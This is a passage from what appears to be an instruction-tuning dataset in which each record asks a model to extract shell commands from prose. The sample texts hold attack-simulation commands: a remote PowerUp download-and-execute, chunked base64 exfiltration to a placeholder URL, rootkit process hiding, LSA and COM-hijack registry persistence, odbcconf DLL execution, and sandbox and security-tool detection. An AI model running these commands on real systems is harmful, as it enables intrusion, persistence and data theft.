    "output": "{\"command_list\": [\"uname -a >> #{output_file}\\nif [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi\\nif [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi   \\nif [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi\\nif [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi\\nuptime >> #{output_file}\\ncat #{output_file} 2>/dev/null\\n\", \"if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi\\nif [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i \\\"Droplet\\\\|HVM\\\\|VirtualBox\\\\|VMware\\\"; fi\\nif [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i \\\"Xen\\\\|Bochs\\\\|QEMU\\\"; fi\\nif [ -x \\\"$(command -v dmidecode)\\\" ]; then sudo dmidecode | grep -i \\\"microsoft\\\\|vmware\\\\|virtualbox\\\\|quemu\\\\|domu\\\"; fi\\nif [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i \\\"vmware\\\\|vbox\\\"; fi\\nif [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i \\\"vmware\\\\|vbox\\\\|qemu\\\\|virtual\\\"; fi\\nif [ -x \\\"$(command -v lspci)\\\" ]; then sudo lspci | grep -i \\\"vmware\\\\|virtualbox\\\"; fi\\nif [ -x \\\"$(command -v lscpu)\\\" ]; then sudo lscpu | grep -i \\\"Xen\\\\|KVM\\\\|Microsoft\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For simulating rootkit behavior through ld.so.preload, run this command: echo #{library_path} | tee -a /etc/ld.so.preload\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \"process hidden\"; To load the Diamorphine kernel module and hide a process, use the following commands: sudo modprobe #{rootkit_name}\nping -c 10 localhost >/dev/null & TARGETPID=\"$!\"\nps $TARGETPID\nkill -31 $TARGETPID\nps $TARGETPID || echo \"process ${TARGETPID} hidden\"\n",
    "output": "{\"command_list\": [\"echo #{library_path} | tee -a /etc/ld.so.preload\\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \\\"process hidden\\\"\\n\", \"sudo modprobe #{rootkit_name}\\nping -c 10 localhost >/dev/null & TARGETPID=\\\"$!\\\"\\nps $TARGETPID\\nkill -31 $TARGETPID\\nps $TARGETPID || echo \\\"process ${TARGETPID} hidden\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate transferring data in small chunks for evasion purposes, use the following command: $file = [System.IO.File]::OpenRead(#{source_file_path})\n$chunkSize = #{chunk_size} * 1KB\n$buffer = New-Object Byte[] $chunkSize\n\nwhile ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {\n    $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)\n    Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk\n}\n$file.Close()\n; To add a value to the Windows registry Security Support Provider, which typically requires copying a payload DLL to the system32 folder, use the following command:\n$oldvalue = $(Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\nSet-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name 'Security Packages old' -Value \"$oldvalue\";\n$newvalue = \"AtomicTest.dll\";\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $newvalue\n",
    "output": "{\"command_list\": [\"$file = [System.IO.File]::OpenRead(#{source_file_path})\\n$chunkSize = #{chunk_size} * 1KB\\n$buffer = New-Object Byte[] $chunkSize\\n\\nwhile ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {\\n    $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)\\n    Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk\\n}\\n$file.Close()\\n\", \"$oldvalue = $(Get-ItemProperty HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\\nSet-ItemProperty -Path \\\"HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\" -Name 'Security Packages old' -Value \\\"$oldvalue\\\";\\n$newvalue = \\\"AtomicTest.dll\\\";\\nSet-ItemProperty HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa -Name 'Security Packages' -Value $newvalue\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify security software running on an endpoint, use the following command which will display any AV or security applications in the command shell: ps aux | egrep 'Little\\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'; When you need to detect security applications on a system, execute this command to reveal any running AV or security software: ps aux | egrep 'falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd'",
    "output": "{\"command_list\": [\"ps aux | egrep 'Little\\\\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'\\n\", \"ps aux | egrep 'falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute an arbitrary DLL file that is stored locally, use the following command: odbcconf.exe /S /A {REGSVR \"#{dll_payload}\"}; The following sequence executes a response file to launch PowerShell.exe, using the command:\ncd \"#{rsp_file_path}\"\nodbcconf.exe -f \"#{rsp_file_name}\"\n",
    "output": "{\"command_list\": [\"odbcconf.exe /S /A {REGSVR \\\"#{dll_payload}\\\"}\\n\", \"cd \\\"#{rsp_file_path}\\\"\\nodbcconf.exe -f \\\"#{rsp_file_name}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When successful, this test will open a calculator window alongside applications like Notepad by leveraging COM hijacking through PowerShell, using this sequence of commands:\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value \"#{dll_path}\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-localserver #{clsid}'; For persistence on user logon, the test creates a malicious CLSID that points to scrobj.dll and hijacks the Work Folders Logon Synchronization CLSID. This is accomplished by running these registry commands:\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /ve /T REG_SZ /d \"C:\\WINDOWS\\system32\\scrobj.dll\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /v \"ThreadingModel\" /T REG_SZ /d \"Apartment\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\" /ve /T REG_SZ /d \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\n\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\TreatAs\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\n\nrundll32.exe -sta \"AtomicTest\"",
    "output": "{\"command_list\": [\"New-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}' -Value '#{clsid_description}'\\nNew-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Value \\\"#{dll_path}\\\"\\nNew-ItemProperty -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \\\"String\\\"\\nStart-Process -FilePath \\\"C:\\\\Windows\\\\System32\\\\RUNDLL32.EXE\\\" -ArgumentList '-localserver #{clsid}'\", \"reg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\AtomicTest\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\AtomicTest.1.00\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\AtomicTest\\\\CLSID\\\" /ve /T REG_SZ /d \\\"{00000001-0000-0000-0000-0000FEEDACDC}\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\AtomicTest.1.00\\\\CLSID\\\" /ve /T REG_SZ /d \\\"{00000001-0000-0000-0000-0000FEEDACDC}\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\InprocServer32\\\" /ve /T REG_SZ /d \\\"C:\\\\WINDOWS\\\\system32\\\\scrobj.dll\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\InprocServer32\\\" /v \\\"ThreadingModel\\\" /T REG_SZ /d \\\"Apartment\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\ProgID\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\ScriptletURL\\\" /ve /T REG_SZ /d \\\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\VersionIndependentProgID\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\n\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\\" /f\\nreg add 